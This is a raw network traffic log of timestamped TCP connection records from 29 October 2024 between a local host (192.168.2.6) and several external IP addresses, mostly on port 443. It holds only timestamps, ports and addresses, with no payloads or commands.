Oct 29, 2024 17:59:42.808418989 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.809859991 CET	49962	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.809887886 CET	443	49962	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.813499928 CET	49964	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.813528061 CET	443	49964	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.813865900 CET	49963	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.813884020 CET	443	49963	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.821310043 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.828763008 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.828779936 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.829588890 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.829595089 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.837816000 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.840248108 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.840279102 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.841144085 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.841149092 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.843712091 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.846963882 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.847018003 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.852605104 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.852613926 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.854916096 CET	49961	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:42.854928017 CET	443	49961	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:42.901575089 CET	49977	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:42.901616096 CET	443	49977	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:42.901845932 CET	49977	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:42.902636051 CET	49977	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:42.902647972 CET	443	49977	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:42.937582970 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.937676907 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.937804937 CET	49966	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.937901974 CET	49966	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.937927961 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.937939882 CET	49966	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.937947989 CET	443	49966	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.942704916 CET	49978	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.942759991 CET	443	49978	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.942890882 CET	49978	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.943068981 CET	49978	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.943080902 CET	443	49978	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.956051111 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.956095934 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.956150055 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.956203938 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.956203938 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.956371069 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.956371069 CET	49967	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.956387997 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.956393003 CET	443	49967	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.958834887 CET	49979	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.958880901 CET	443	49979	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.959070921 CET	49979	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.959352970 CET	49979	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.959367037 CET	443	49979	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.967644930 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.967685938 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.967735052 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.967792034 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.967885971 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.967901945 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.967914104 CET	49969	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.967921019 CET	443	49969	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.975600958 CET	49980	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.975655079 CET	443	49980	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.975759029 CET	49980	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.975965977 CET	49980	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.975991011 CET	443	49980	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.979638100 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.979712963 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.979852915 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.980938911 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.980938911 CET	49968	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.980953932 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.980962992 CET	443	49968	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.983922958 CET	49981	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.983966112 CET	443	49981	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:42.984558105 CET	49981	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.984879017 CET	49981	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:42.984890938 CET	443	49981	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.046272993 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:43.051561117 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:43.195900917 CET	443	49973	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:43.196671963 CET	49973	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:43.196690083 CET	443	49973	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:43.198115110 CET	443	49973	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:43.199217081 CET	443	49972	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.199911118 CET	49973	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:43.200010061 CET	443	49973	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:43.200675964 CET	49972	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:43.200696945 CET	443	49972	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.201039076 CET	443	49972	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.208287954 CET	49972	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:43.208473921 CET	443	49972	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.209670067 CET	49972	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:43.218343973 CET	443	49974	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:43.218548059 CET	49974	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:43.218558073 CET	443	49974	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:43.219609976 CET	443	49974	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:43.219686031 CET	49974	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:43.220029116 CET	49974	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:43.220087051 CET	443	49974	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:43.244880915 CET	49973	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:43.251343966 CET	443	49972	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.260436058 CET	49974	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:43.260452986 CET	443	49974	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:43.308223963 CET	49974	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:43.338766098 CET	443	49972	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.338941097 CET	443	49972	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.339006901 CET	49972	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:43.340003014 CET	49972	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:43.340022087 CET	443	49972	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.505489111 CET	443	49977	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:43.505754948 CET	49977	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:43.505767107 CET	443	49977	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:43.506874084 CET	443	49977	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:43.507338047 CET	49977	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:43.507461071 CET	443	49977	23.221.22.184	192.168.2.6
Oct 29, 2024 17:59:43.533811092 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.534715891 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.534753084 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.535222054 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.535228968 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.542701960 CET	443	49975	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.542960882 CET	49975	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:43.542990923 CET	443	49975	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.543356895 CET	443	49975	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.543730021 CET	49975	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:43.543791056 CET	49975	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:43.543803930 CET	443	49975	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.556138992 CET	49977	443	192.168.2.6	23.221.22.184
Oct 29, 2024 17:59:43.587765932 CET	49975	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:43.624831915 CET	49983	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:43.624874115 CET	443	49983	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:43.624938011 CET	49983	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:43.625164032 CET	49983	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:43.625180006 CET	443	49983	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:43.663187027 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.663624048 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.663687944 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.663846970 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.663866997 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.663881063 CET	49976	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.663886070 CET	443	49976	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.668760061 CET	49984	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.668792963 CET	443	49984	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.669064999 CET	49984	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.669214964 CET	49984	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.669228077 CET	443	49984	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.684333086 CET	443	49975	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.684354067 CET	443	49975	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.684406996 CET	49975	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:43.684421062 CET	443	49975	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.684464931 CET	49975	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:43.688935995 CET	49975	443	192.168.2.6	13.107.246.57
Oct 29, 2024 17:59:43.688956022 CET	443	49975	13.107.246.57	192.168.2.6
Oct 29, 2024 17:59:43.700043917 CET	443	49979	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.700773001 CET	49979	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.700790882 CET	443	49979	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.701297998 CET	49979	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.701303005 CET	443	49979	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.712455988 CET	443	49978	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.717593908 CET	443	49981	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.732291937 CET	49978	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.732312918 CET	443	49978	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.732729912 CET	49978	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.732736111 CET	443	49978	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.733306885 CET	49981	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.733319998 CET	443	49981	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.733680010 CET	49981	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.733685017 CET	443	49981	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.740292072 CET	443	49980	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.741054058 CET	49980	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.741075993 CET	443	49980	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.741991043 CET	49980	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.741997957 CET	443	49980	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.825854063 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:43.826088905 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:43.832614899 CET	443	49979	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.832722902 CET	443	49979	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.832778931 CET	49979	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.862090111 CET	443	49981	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.862159014 CET	443	49981	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.862243891 CET	49981	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.863975048 CET	443	49978	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.864614964 CET	443	49978	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.865087032 CET	49978	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.882194042 CET	49979	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.882210970 CET	443	49979	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.882224083 CET	49979	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.882231951 CET	443	49979	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.883565903 CET	49978	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.883579969 CET	443	49978	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.883585930 CET	49981	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.883585930 CET	49981	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.883589983 CET	49978	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.883594990 CET	443	49978	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.883603096 CET	443	49981	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.883614063 CET	443	49981	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.887105942 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.887160063 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.887217045 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.889170885 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.889192104 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.889259100 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.892209053 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.892235994 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.899350882 CET	49987	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.899391890 CET	443	49987	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.899452925 CET	49987	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.899576902 CET	49987	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.899595976 CET	443	49987	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.900820017 CET	49986	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.900834084 CET	443	49986	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.904021025 CET	443	49980	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.904320002 CET	443	49980	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.904380083 CET	49980	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.905167103 CET	49980	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.905184984 CET	443	49980	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.905209064 CET	49980	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.905215979 CET	443	49980	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.935585022 CET	49988	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.935609102 CET	443	49988	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.935669899 CET	49988	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.951425076 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.951481104 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:43.951545954 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.951800108 CET	49990	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.951824903 CET	443	49990	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:43.951883078 CET	49990	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.952292919 CET	49991	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.952307940 CET	443	49991	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:43.952379942 CET	49991	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.952650070 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.952691078 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:43.952744961 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.952936888 CET	49993	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.952980995 CET	443	49993	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:43.953054905 CET	49993	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.970172882 CET	49994	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.970196009 CET	443	49994	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:43.970267057 CET	49994	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.970731974 CET	49988	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:43.970751047 CET	443	49988	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:43.971462011 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.971498966 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:43.971803904 CET	49990	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.971834898 CET	443	49990	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:43.972002029 CET	49991	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.972017050 CET	443	49991	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:43.972171068 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.972187042 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:43.973226070 CET	49993	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.973248959 CET	443	49993	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:43.973530054 CET	49994	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:43.973541021 CET	443	49994	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.449002028 CET	443	49984	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.449614048 CET	49984	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.449641943 CET	443	49984	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.450124025 CET	49984	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.450129986 CET	443	49984	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.510080099 CET	443	49983	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:44.511540890 CET	49983	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:44.511569977 CET	443	49983	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:44.513076067 CET	443	49983	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:44.513148069 CET	49983	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:44.514559984 CET	49983	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:44.514671087 CET	443	49983	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:44.514934063 CET	49983	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:44.514955044 CET	443	49983	20.96.153.111	192.168.2.6
Oct 29, 2024 17:59:44.555191994 CET	49983	443	192.168.2.6	20.96.153.111
Oct 29, 2024 17:59:44.565839052 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.568487883 CET	443	49994	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.571543932 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.571561098 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.573012114 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.573085070 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.578105927 CET	443	49990	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.580899000 CET	443	49993	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.581013918 CET	49994	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.581033945 CET	443	49994	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.582077026 CET	443	49994	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.582145929 CET	49994	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.583807945 CET	443	49991	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.584184885 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.587918997 CET	443	49984	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.587946892 CET	443	49984	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.587990046 CET	443	49984	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.588049889 CET	49984	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.592544079 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.592664003 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.592936993 CET	49990	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.592951059 CET	443	49990	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.593305111 CET	49993	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.593322992 CET	443	49993	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.593336105 CET	443	49990	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.593635082 CET	49994	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.593707085 CET	443	49994	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.593924046 CET	49991	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.593935966 CET	443	49991	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.594098091 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.594109058 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.594373941 CET	443	49993	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.594433069 CET	49993	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.594513893 CET	49990	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.594588995 CET	443	49990	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.594676018 CET	49989	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.594695091 CET	443	49989	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.595042944 CET	443	49991	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.595098019 CET	49991	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.595206976 CET	49993	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.595276117 CET	443	49993	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.595477104 CET	49994	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.595489979 CET	443	49994	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.595659018 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.595727921 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.596005917 CET	49991	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.596069098 CET	443	49991	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.596120119 CET	49990	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.596606016 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.596684933 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.596703053 CET	49993	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.596712112 CET	443	49993	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.597002983 CET	49991	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.597009897 CET	443	49991	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.597122908 CET	49992	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:44.597132921 CET	443	49992	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.597847939 CET	49984	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.597865105 CET	443	49984	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.607584953 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.607626915 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.607685089 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.627782106 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.637487888 CET	49995	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.637521029 CET	443	49995	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.638838053 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.638864994 CET	443	49985	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:44.639338970 CET	443	49990	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:44.639482021 CET	49985	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:44.639487982 CET	443	49985	13.107.246.45	192.168.2.6
